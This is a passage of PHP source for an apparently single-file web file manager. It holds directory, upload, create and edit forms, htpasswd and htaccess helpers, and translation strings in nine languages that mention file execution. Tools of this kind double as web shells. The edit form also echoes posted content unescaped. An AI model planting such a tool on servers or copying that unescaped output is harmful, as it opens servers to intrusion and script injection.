global $directory, $homedir, $cols, $self;
echo '<tr>
<td colspan="' . $cols . '" id="directory">
<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
</td>
</tr>
';
}
function upload_box()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="upload">
' . word('file') . ':
<input type="file" name="upload" onfocus="activate(\'other\')" />
<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function create_box()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="create">
<select name="create_type" size="1" onfocus="activate(\'create\')">
<option value="file">' . word('file') . '</option>
<option value="directory">' . word('directory') . '</option>
</select>
<input type="text" name="create_name" onfocus="activate(\'create\')" />
<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
</td>
</tr>
';
}
function edit($file)
{
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
if (array_key_exists('content', $_POST)) {
echo $_POST['content'];
} else {
$f = fopen($file, 'r');
while (!feof($f)) {
echo html(fread($f, 8192));
}
fclose($f);
}
if (!empty($_POST['user'])) {
echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty($_POST['basic_auth'])) {
if ($win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
echo 'AuthUserFile "' . html($authfile) . ""\n";
echo "Require valid-user";
}
echo "</textarea>\n\n\t<hr />\n";
if ($apache && basename($file) == $htpasswd) {
echo '
' . word('user') . ': <input type="text" name="user" />
' . word('password') . ': <input type="password" name="password" />
<input type="submit" value="' . word('add') . '" />
<hr />
';
}
if ($apache && basename($file) == $htaccess) {
echo '
<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
<hr />
';
}
echo '
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<input type="reset" value="' . word('reset') . '" id="red_button" />
<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
function spacer()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize($content)
{
$size = strlen($content) + 5;
if ($size < 30) {
$size = 30;
}
return $size;
}
function request_dump()
{
foreach ($_REQUEST as $key => $value) {
echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
}
}
/* ------------------------------------------------------------------------- */
function html($string)
{
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word($word)
{
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase($phrase, $arguments)
{
global $words;
static $search;
if (!is_array($search)) {
for ($i = 1; $i <= 8; $i++) {
$search[] = "%{$i}";
}
}
for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}
$replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords($lang)
{
global $date_format, $word_charset;
$word_charset = 'UTF-8';
switch ($lang) {
case 'de':
$date_format = 'd.m.y H:i:s';
return array("directory" => "Verzeichnis", "file" => "Datei", "filename" => "Dateiname", "size" => "Gr\xc3\xb6\xc3\x9fe", "permission" => "Rechte", "owner" => "Eigner", "group" => "Gruppe", "other" => "Andere", "functions" => "Funktionen", "read" => "lesen", "write" => "schreiben", "execute" => "ausf\xc3\xbchren", "create_symlink" => "Symlink erstellen", "delete" => "l\xc3\xb6schen", "rename" => "umbenennen", "move" => "verschieben", "copy" => "kopieren", "edit" => "editieren", "download" => "herunterladen", "upload" => "hochladen", "create" => "erstellen", "change" => "wechseln", "save" => "speichern", "set" => "setze", "reset" => "zur\xc3\xbccksetzen", "relative" => "Pfad zum Ziel relativ", "yes" => "Ja", "no" => "Nein", "back" => "zur\xc3\xbcck", "destination" => "Ziel", "symlink" => "Symbolischer Link", "no_output" => "keine Ausgabe", "user" => "Benutzername", "password" => "Kennwort", "add" => "hinzuf\xc3\xbcgen", "add_basic_auth" => "HTTP-Basic-Auth hinzuf\xc3\xbcgen", "uploaded" => "\"[%1]\" wurde hochgeladen.", "not_uploaded" => "\"[%1]\" konnte nicht hochgeladen werden.", "already_exists" => "\"[%1]\" existiert bereits.", "created" => "\"[%1]\" wurde erstellt.", "not_created" => "\"[%1]\" konnte nicht erstellt werden.", "really_delete" => "Sollen folgende Dateien wirklich gel\xc3\xb6scht werden?", "deleted" => "Folgende Dateien wurden gel\xc3\xb6scht:\n[%1]", "not_deleted" => "Folgende Dateien konnten nicht gel\xc3\xb6scht werden:\n[%1]", "rename_file" => "Benenne Datei um:", "renamed" => "\"[%1]\" wurde in \"[%2]\" umbenannt.", "not_renamed" => "\"[%1] konnte nicht in \"[%2]\" umbenannt werden.", "move_files" => "Verschieben folgende Dateien:", "moved" => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", "not_moved" => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", "copy_files" => "Kopiere folgende Dateien:", "copied" => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", "not_copied" => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", "not_edited" => "\"[%1]\" kann nicht editiert werden.", "executed" => "\"[%1]\" wurde erfolgreich ausgef\xc3\xbchrt:\n{%2}", "not_executed" => "\"[%1]\" konnte nicht erfolgreich ausgef\xc3\xbchrt werden:\n{%2}", "saved" => "\"[%1]\" wurde gespeichert.", "not_saved" => "\"[%1]\" konnte nicht gespeichert werden.", "symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" wurde erstellt.", "not_symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" konnte nicht erstellt werden.", "permission_for" => "Rechte f\xc3\xbcr \"[%1]\":", "permission_set" => "Die Rechte f\xc3\xbcr \"[%1]\" wurden auf [%2] gesetzt.", "permission_not_set" => "Die Rechte f\xc3\xbcr \"[%1]\" konnten nicht auf [%2] gesetzt werden.", "not_readable" => "\"[%1]\" kann nicht gelesen werden.");
case 'fr':
$date_format = 'd.m.y H:i:s';
return array("directory" => "R\xc3\xa9pertoire", "file" => "Fichier", "filename" => "Nom fichier", "size" => "Taille", "permission" => "Droits", "owner" => "Propri\xc3\xa9taire", "group" => "Groupe", "other" => "Autres", "functions" => "Fonctions", "read" => "Lire", "write" => "Ecrire", "execute" => "Ex\xc3\xa9cuter", "create_symlink" => "Cr\xc3\xa9er lien symbolique", "delete" => "Effacer", "rename" => "Renommer", "move" => "D\xc3\xa9placer", "copy" => "Copier", "edit" => "Ouvrir", "download" => "T\xc3\xa9l\xc3\xa9charger sur PC", "upload" => "T\xc3\xa9l\xc3\xa9charger sur serveur", "create" => "Cr\xc3\xa9er", "change" => "Changer", "save" => "Sauvegarder", "set" => "Ex\xc3\xa9cuter", "reset" => "R\xc3\xa9initialiser", "relative" => "Relatif", "yes" => "Oui", "no" => "Non", "back" => "Retour", "destination" => "Destination", "symlink" => "Lien symbollique", "no_output" => "Pas de sortie", "user" => "Utilisateur", "password" => "Mot de passe", "add" => "Ajouter", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "not_uploaded" => "\"[%1]\" n a pas \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "already_exists" => "\"[%1]\" existe d\xc3\xa9j\xc3\xa0.", "created" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9\xc3\xa9.", "not_created" => "\"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "really_delete" => "Effacer le fichier?", "deleted" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9tuits:\n[%1]", "not_deleted" => "Ces fichiers n ont pu \xc3\xaatre d\xc3\xa9truits:\n[%1]", "rename_file" => "Renomme fichier:", "renamed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 renomm\xc3\xa9 en \"[%2]\".", "not_renamed" => "\"[%1] n a pas pu \xc3\xaatre renomm\xc3\xa9 en \"[%2]\".", "move_files" => "D\xc3\xa9placer ces fichiers:", "moved" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "not_moved" => "Ces fichiers n ont pas pu \xc3\xaatre d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "copy_files" => "Copier ces fichiers:", "copied" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_copied" => "Ces fichiers n ont pas pu \xc3\xaatre copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" ne peut \xc3\xaatre ouvert.", "executed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 brillamment ex\xc3\xa9cut\xc3\xa9 :\n{%2}", "not_executed" => "\"[%1]\" n a pas pu \xc3\xaatre ex\xc3\xa9cut\xc3\xa9:\n{%2}", "saved" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 sauvegard\xc3\xa9.", "not_saved" => "\"[%1]\" n a pas pu \xc3\xaatre sauvegard\xc3\xa9.", "symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9e.", "not_symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "permission_for" => "Droits de \"[%1]\":", "permission_set" => "Droits de \"[%1]\" ont \xc3\xa9t\xc3\xa9 chang\xc3\xa9s en [%2].", "permission_not_set" => "Droits de \"[%1]\" n ont pas pu \xc3\xaatre chang\xc3\xa9s en[%2].", "not_readable" => "\"[%1]\" ne peut pas \xc3\xaatre ouvert.");
case 'it':
$date_format = 'd-m-Y H:i:s';
return array("directory" => "Directory", "file" => "File", "filename" => "Nome File", "size" => "Dimensioni", "permission" => "Permessi", "owner" => "Proprietario", "group" => "Gruppo", "other" => "Altro", "functions" => "Funzioni", "read" => "leggi", "write" => "scrivi", "execute" => "esegui", "create_symlink" => "crea link simbolico", "delete" => "cancella", "rename" => "rinomina", "move" => "sposta", "copy" => "copia", "edit" => "modifica", "download" => "download", "upload" => "upload", "create" => "crea", "change" => "cambia", "save" => "salva", "set" => "imposta", "reset" => "reimposta", "relative" => "Percorso relativo per la destinazione", "yes" => "Si", "no" => "No", "back" => "indietro", "destination" => "Destinazione", "symlink" => "Link simbolico", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "aggiungi", "add_basic_auth" => "aggiungi autenticazione base", "uploaded" => "\"[%1]\" \xc3\xa8 stato caricato.", "not_uploaded" => "\"[%1]\" non \xc3\xa8 stato caricato.", "already_exists" => "\"[%1]\" esiste gi\xc3\xa0.", "created" => "\"[%1]\" \xc3\xa8 stato creato.", "not_created" => "\"[%1]\" non \xc3\xa8 stato creato.", "really_delete" => "Cancello questi file ?", "deleted" => "Questi file sono stati cancellati:\n[%1]", "not_deleted" => "Questi file non possono essere cancellati:\n[%1]", "rename_file" => "File rinominato:", "renamed" => "\"[%1]\" \xc3\xa8 stato rinominato in \"[%2]\".", "not_renamed" => "\"[%1] non \xc3\xa8 stato rinominato in \"[%2]\".", "move_files" => "Sposto questi file:", "moved" => "Questi file sono stati spostati in \"[%2]\":\n[%1]", "not_moved" => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", "copy_files" => "Copio questi file", "copied" => "Questi file sono stati copiati in \"[%2]\":\n[%1]", "not_copied" => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" non pu\xc3\xb2 essere modificato.", "executed" => "\"[%1]\" \xc3\xa8 stato eseguito con successo:\n{%2}", "not_executed" => "\"[%1]\" non \xc3\xa8 stato eseguito con successo\n{%2}", "saved" => "\"[%1]\" \xc3\xa8 stato salvato.", "not_saved" => "\"[%1]\" non \xc3\xa8 stato salvato.", "symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" \xc3\xa8 stato creato.", "not_symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" non \xc3\xa8 stato creato.", "permission_for" => "Permessi di \"[%1]\":", "permission_set" => "I permessi di \"[%1]\" sono stati impostati [%2].", "permission_not_set" => "I permessi di \"[%1]\" non sono stati impostati [%2].", "not_readable" => "\"[%1]\" non pu\xc3\xb2 essere letto.");
case 'nl':
$date_format = 'n/j/y H:i:s';
return array("directory" => "Directory", "file" => "Bestand", "filename" => "Bestandsnaam", "size" => "Grootte", "permission" => "Bevoegdheid", "owner" => "Eigenaar", "group" => "Groep", "other" => "Anderen", "functions" => "Functies", "read" => "lezen", "write" => "schrijven", "execute" => "uitvoeren", "create_symlink" => "maak symlink", "delete" => "verwijderen", "rename" => "hernoemen", "move" => "verplaatsen", "copy" => "kopieren", "edit" => "bewerken", "download" => "downloaden", "upload" => "uploaden", "create" => "aanmaken", "change" => "veranderen", "save" => "opslaan", "set" => "instellen", "reset" => "resetten", "relative" => "Relatief pat naar doel", "yes" => "Ja", "no" => "Nee", "back" => "terug", "destination" => "Bestemming", "symlink" => "Symlink", "no_output" => "geen output", "user" => "Gebruiker", "password" => "Wachtwoord", "add" => "toevoegen", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" is verstuurd.", "not_uploaded" => "\"[%1]\" kan niet worden verstuurd.", "already_exists" => "\"[%1]\" bestaat al.", "created" => "\"[%1]\" is aangemaakt.", "not_created" => "\"[%1]\" kan niet worden aangemaakt.", "really_delete" => "Deze bestanden verwijderen?", "deleted" => "Deze bestanden zijn verwijderd:\n[%1]", "not_deleted" => "Deze bestanden konden niet worden verwijderd:\n[%1]", "rename_file" => "Bestandsnaam veranderen:", "renamed" => "\"[%1]\" heet nu \"[%2]\".", "not_renamed" => "\"[%1] kon niet worden veranderd in \"[%2]\".", "move_files" => "Verplaats deze bestanden:", "moved" => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", "not_moved" => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", "copy_files" => "Kopieer deze bestanden:", "copied" => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", "not_copied" => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan niet worden bewerkt.", "executed" => "\"[%1]\" is met succes uitgevoerd:\n{%2}", "not_executed" => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", "saved" => "\"[%1]\" is opgeslagen.", "not_saved" => "\"[%1]\" is niet opgeslagen.", "symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is aangemaakt.", "not_symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is niet aangemaakt.", "permission_for" => "Bevoegdheid voor \"[%1]\":", "permission_set" => "Bevoegdheid van \"[%1]\" is ingesteld op [%2].", "permission_not_set" => "Bevoegdheid van \"[%1]\" is niet ingesteld op [%2].", "not_readable" => "\"[%1]\" kan niet worden gelezen.");
case 'se':
$date_format = 'n/j/y H:i:s';
return array("directory" => "Mapp", "file" => "Fil", "filename" => "Filnamn", "size" => "Storlek", "permission" => "S\xc3\xa4kerhetsniv\xc3\xa5", "owner" => "\xc3\x84gare", "group" => "Grupp", "other" => "Andra", "functions" => "Funktioner", "read" => "L\xc3\xa4s", "write" => "Skriv", "execute" => "Utf\xc3\xb6r", "create_symlink" => "Skapa symlink", "delete" => "Radera", "rename" => "Byt namn", "move" => "Flytta", "copy" => "Kopiera", "edit" => "\xc3\x84ndra", "download" => "Ladda ner", "upload" => "Ladda upp", "create" => "Skapa", "change" => "\xc3\x84ndra", "save" => "Spara", "set" => "Markera", "reset" => "T\xc3\xb6m", "relative" => "Relative path to target", "yes" => "Ja", "no" => "Nej", "back" => "Tillbaks", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "Anv\xc3\xa4ndare", "password" => "L\xc3\xb6senord", "add" => "L\xc3\xa4gg till", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" har laddats upp.", "not_uploaded" => "\"[%1]\" kunde inte laddas upp.", "already_exists" => "\"[%1]\" finns redan.", "created" => "\"[%1]\" har skapats.", "not_created" => "\"[%1]\" kunde inte skapas.", "really_delete" => "Radera dessa filer?", "deleted" => "De h\xc3\xa4r filerna har raderats:\n[%1]", "not_deleted" => "Dessa filer kunde inte raderas:\n[%1]", "rename_file" => "Byt namn p\xc3\xa5 fil:", "renamed" => "\"[%1]\" har bytt namn till \"[%2]\".", "not_renamed" => "\"[%1] kunde inte d\xc3\xb6pas om till \"[%2]\".", "move_files" => "Flytta dessa filer:", "moved" => "Dessa filer har flyttats till \"[%2]\":\n[%1]", "not_moved" => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", "copy_files" => "Kopiera dessa filer:", "copied" => "Dessa filer har kopierats till \"[%2]\":\n[%1]", "not_copied" => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan inte \xc3\xa4ndras.", "executed" => "\"[%1]\" har utf\xc3\xb6rts:\n{%2}", "not_executed" => "\"[%1]\" kunde inte utf\xc3\xb6ras:\n{%2}", "saved" => "\"[%1]\" har sparats.", "not_saved" => "\"[%1]\" kunde inte sparas.", "symlinked" => "Symlink fr\xc3\xa5n \"[%2]\" till \"[%1]\" har skapats.", "not_symlinked" => "Symlink fr\xc3\xa5n \"[%2]\" till \"[%1]\" kunde inte skapas.", "permission_for" => "R\xc3\xa4ttigheter f\xc3\xb6r \"[%1]\":", "permission_set" => "R\xc3\xa4ttigheter f\xc3\xb6r \"[%1]\" \xc3\xa4ndrades till [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" kan inte l\xc3\xa4sas.");
case 'sp':
$date_format = 'j/n/y H:i:s';
return array("directory" => "Directorio", "file" => "Archivo", "filename" => "Nombre Archivo", "size" => "Tama\xc3\xb1o", "permission" => "Permisos", "owner" => "Propietario", "group" => "Grupo", "other" => "Otros", "functions" => "Funciones", "read" => "lectura", "write" => "escritura", "execute" => "ejecuci\xc3\xb3n", "create_symlink" => "crear enlace", "delete" => "borrar", "rename" => "renombrar", "move" => "mover", "copy" => "copiar", "edit" => "editar", "download" => "bajar", "upload" => "subir", "create" => "crear", "change" => "cambiar", "save" => "salvar", "set" => "setear", "reset" => "resetear", "relative" => "Path relativo", "yes" => "Si", "no" => "No", "back" => "atr\xc3\xa1s", "destination" => "Destino", "symlink" => "Enlace", "no_output" => "sin salida", "user" => "Usuario", "password" => "Clave", "add" => "agregar", "add_basic_auth" => "agregar autentificaci\xc3\xb3n b\xc3\xa1sica", "uploaded" => "\"[%1]\" ha sido subido.", "not_uploaded" => "\"[%1]\" no pudo ser subido.", "already_exists" => "\"[%1]\" ya existe.", "created" => "\"[%1]\" ha sido creado.", "not_created" => "\"[%1]\" no pudo ser creado.", "really_delete" => "\xc2\xbfBorra estos archivos?", "deleted" => "Estos archivos han sido borrados:\n[%1]", "not_deleted" => "Estos archivos no pudieron ser borrados:\n[%1]", "rename_file" => "Renombra archivo:", "renamed" => "\"[%1]\" ha sido renombrado a \"[%2]\".", "not_renamed" => "\"[%1] no pudo ser renombrado a \"[%2]\".", "move_files" => "Mover estos archivos:", "moved" => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", "not_moved" => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", "copy_files" => "Copiar estos archivos:", "copied" => "Estos archivos han sido copiados a \"[%2]\":\n[%1]", "not_copied" => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" no pudo ser editado.", "executed" => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", "not_executed" => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", "saved" => "\"[%1]\" ha sido salvado.", "not_saved" => "\"[%1]\" no pudo ser salvado.", "symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" ha sido creado.", "not_symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" no pudo ser creado.", "permission_for" => "Permisos de \"[%1]\":", "permission_set" => "Permisos de \"[%1]\" fueron seteados a [%2].", "permission_not_set" => "Permisos de \"[%1]\" no pudo ser seteado a [%2].", "not_readable" => "\"[%1]\" no pudo ser le\xc3\xaddo.");
case 'dk':
$date_format = 'n/j/y H:i:s';
return array("directory" => "Mappe", "file" => "Fil", "filename" => "Filnavn", "size" => "St\xc3\xb8rrelse", "permission" => "Rettighed", "owner" => "Ejer", "group" => "Gruppe", "other" => "Andre", "functions" => "Funktioner", "read" => "l\xc3\xa6s", "write" => "skriv", "execute" => "k\xc3\xb8r", "create_symlink" => "opret symbolsk link", "delete" => "slet", "rename" => "omd\xc3\xb8b", "move" => "flyt", "copy" => "kopier", "edit" => "rediger", "download" => "download", "upload" => "upload", "create" => "opret", "change" => "skift", "save" => "gem", "set" => "s\xc3\xa6t", "reset" => "nulstil", "relative" => "Relativ sti til valg", "yes" => "Ja", "no" => "Nej", "back" => "tilbage", "destination" => "Distination", "symlink" => "Symbolsk link", "no_output" => "ingen resultat", "user" => "Bruger", "password" => "Kodeord", "add" => "tilf\xc3\xb8j", "add_basic_auth" => "tilf\xc3\xb8j grundliggende rettigheder", "uploaded" => "\"[%1]\" er blevet uploaded.", "not_uploaded" => "\"[%1]\" kunnu ikke uploades.", "already_exists" => "\"[%1]\" findes allerede.", "created" => "\"[%1]\" er blevet oprettet.", "not_created" => "\"[%1]\" kunne ikke oprettes.", "really_delete" => "Slet disse filer?", "deleted" => "Disse filer er blevet slettet:\n[%1]", "not_deleted" => "Disse filer kunne ikke slettes:\n[%1]", "rename_file" => "Omd\xc3\xb8d fil:", "renamed" => "\"[%1]\" er blevet omd\xc3\xb8bt til \"[%2]\".", "not_renamed" => "\"[%1] kunne ikke omd\xc3\xb8bes til \"[%2]\".", "move_files" => "Flyt disse filer:", "moved" => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", "not_moved" => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", "copy_files" => "Kopier disse filer:", "copied" => "Disse filer er kopieret til \"[%2]\":\n[%1]", "not_copied" => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan ikke redigeres.", "executed" => "\"[%1]\" er blevet k\xc3\xb8rt korrekt:\n{%2}", "not_executed" => "\"[%1]\" kan ikke k\xc3\xb8res korrekt:\n{%2}", "saved" => "\"[%1]\" er blevet gemt.", "not_saved" => "\"[%1]\" kunne ikke gemmes.", "symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" er blevet oprettet.", "not_symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" kunne ikke oprettes.", "permission_for" => "Rettigheder for \"[%1]\":", "permission_set" => "Rettigheder for \"[%1]\" blev sat til [%2].", "permission_not_set" => "Rettigheder for \"[%1]\" kunne ikke s\xc3\xa6ttes til [%2].", "not_readable" => "\"[%1]\" Kan ikke l\xc3\xa6ses.");
case 'tr':
$date_format = 'n/j/y H:i:s';
return array("directory" => "Klas\xc3\xb6r", "file" => "Dosya", "filename" => "dosya adi", "size" => "boyutu", "permission" => "Izin", "owner" => "sahib", "group" => "Grup", "other" => "Digerleri", "functions" => "Fonksiyonlar", "read" => "oku", "write" => "yaz", "execute" => "\xc3\xa7alistir", "create_symlink" => "yarat symlink", "delete" => "sil", "rename" => "ad degistir", "move" => "tasi", "copy" => "kopyala", "edit" => "d\xc3\xbczenle", "download" => "indir", "upload" => "y\xc3\xbckle", "create" => "create", "change" => "degistir", "save" => "kaydet", "set" => "ayar", "reset" => "sifirla", "relative" => "Hedef yola g\xc3\xb6re", "yes" => "Evet", "no" => "Hayir", "back" => "Geri", "destination" => "Hedef", "symlink" => "K\xc3\xbdsa yol", "no_output" => "\xc3\xa7ikti yok", "user" => "Kullanici", "password" => "Sifre", "add" => "ekle", "add_basic_auth" => "ekle basit-authentification", "uploaded" => "\"[%1]\" y\xc3\xbcklendi.", "not_uploaded" => "\"[%1]\" y\xc3\xbcklenemedi.", "already_exists" => "\"[%1]\" kullanilmakta.", "created" => "\"[%1]\" olusturuldu.", "not_created" => "\"[%1]\" olusturulamadi.", "really_delete" => "Bu dosyalari silmek istediginizden eminmisiniz?", "deleted" => "Bu dosyalar silindi:\n[%1]", "not_deleted" => "Bu dosyalar silinemedi:\n[%1]", "rename_file" => "Adi degisen dosya:", "renamed" => "\"[%1]\" adili dosyanin yeni adi \"[%2]\".", "not_renamed" => "\"[%1] adi degistirilemedi \"[%2]\" ile.", "move_files" => "Tasinan dosyalar:", "moved" => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", "not_moved" => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", "copy_files" => "Kopyalanan dosyalar:", "copied" => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", "not_copied" => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" d\xc3\xbczenlenemiyor.", "executed" => "\"[%1]\" basariyla \xc3\xa7alistirildi:\n{%2}", "not_executed" => "\"[%1]\" \xc3\xa7alistirilamadi:\n{%2}", "saved" => "\"[%1]\" kaydedildi.", "not_saved" => "\"[%1]\" kaydedilemedi.", "symlinked" => "\"[%2]\" den \"[%1]\" e k\xc3\xbdsayol olu\xc3\xbeturuldu.", "not_symlinked" => "\"[%2]\"den \"[%1]\" e k\xc3\xbdsayol olu\xc3\xbeturulamad\xc3\xbd.", "permission_for" => "Izinler \"[%1]\":", "permission_set" => "Izinler \"[%1]\" degistirildi [%2].", "permission_not_set" => "Izinler \"[%1]\" degistirilemedi [%2].", "not_readable" => "\"[%1]\" okunamiyor.");
case 'cs':
$date_format = 'd.m.y H:i:s';
return array("directory" => "Adres\xc3\xa1\xc5\x99", "file" => "Soubor", "filename" => "Jm\xc3\xa9no souboru", "size" => "Velikost", "permission" => "Pr\xc3\xa1va", "owner" => "Vlastn\xc3\xadk", "group" => "Skupina", "other" => "Ostatn\xc3\xad", "functions" => "Funkce", "read" => "\xc4\x8cten\xc3\xad", "write" => "Z\xc3\xa1pis", "execute" => "Spou\xc5\xa1t\xc4\x9bn\xc3\xad", "create_symlink" => "Vytvo\xc5\x99it symbolick\xc3\xbd odkaz", "delete" => "Smazat", "rename" => "P\xc5\x99ejmenovat", "move" => "P\xc5\x99esunout", "copy" => "Zkop\xc3\xadrovat", "edit" => "Otev\xc5\x99\xc3\xadt", "download" => "St\xc3\xa1hnout", "upload" => "Nahraj na server", "create" => "Vytvo\xc5\x99it", "change" => "Zm\xc4\x9bnit", "save" => "Ulo\xc5\xbeit", "set" => "Nastavit", "reset" => "zp\xc4\x9bt", "relative" => "Relatif", "yes" => "Ano", "no" => "Ne", "back" => "Zp\xc4\x9bt", "destination" => "Destination", "symlink" => "Symbolick\xc3\xbd odkaz", "no_output" => "Pr\xc3\xa1zdn\xc3\xbd v\xc3\xbdstup", "user" => "U\xc5\xbeivatel", "password" => "Heslo", "add" => "P\xc5\x99idat", "add_basic_auth" => "p\xc5\x99idej z\xc3\xa1kladn\xc3\xad autentizaci", "uploaded" => "Soubor \"[%1]\" byl nahr\xc3\xa1n na server.", "not_uploaded" => "Soubor \"[%1]\" nebyl nahr\xc3\xa1n na server.", "already_exists" => "Soubor \"[%1]\" u\xc5\xbe exituje.", "created" => "Soubor \"[%1]\" byl vytvo\xc5\x99en.", "not_created" => "Soubor \"[%1]\" nemohl b\xc3\xbdt vytvo\xc5\x99en.", "really_delete" => "Vymazat soubor?", "deleted" => "Byly vymaz\xc3\xa1ny tyto soubory:\n[%1]", "not_deleted" => "Tyto soubory nemohly b\xc3\xbdt vytvo\xc5\x99eny:\n[%1]", "rename_file" => "P\xc5\x99ejmenuj soubory:", "renamed" => "Soubor \"[%1]\" byl p\xc5\x99ejmenov\xc3\xa1n na \"[%2]\".", "not_renamed" => "Soubor \"[%1]\" nemohl b\xc3\xbdt p\xc5\x99ejmenov\xc3\xa1n na \"[%2]\".", "move_files" => "P\xc5\x99em\xc3\xadstit tyto soubory:", "moved" => "Tyto soubory byly p\xc5\x99em\xc3\xadst\xc4\x9bny do \"[%2]\":\n[%1]", "not_moved" => "Tyto soubory nemohly b\xc3\xbdt p\xc5\x99em\xc3\xadst\xc4\x9bny do \"[%2]\":\n[%1]", "copy_files" => "Zkop\xc3\xadrovat tyto soubory:", "copied" => "Tyto soubory byly zkop\xc3\xadrov\xc3\xa1ny do \"[%2]\":\n[%1]", "not_copied" => "Tyto soubory nemohly b\xc3\xbdt zkop\xc3\xadrov\xc3\xa1ny do \"[%2]\":\n[%1]", "not_edited" => "Soubor \"[%1]\" nemohl b\xc3\xbdt otev\xc5\x99en.", "executed" => "SOubor 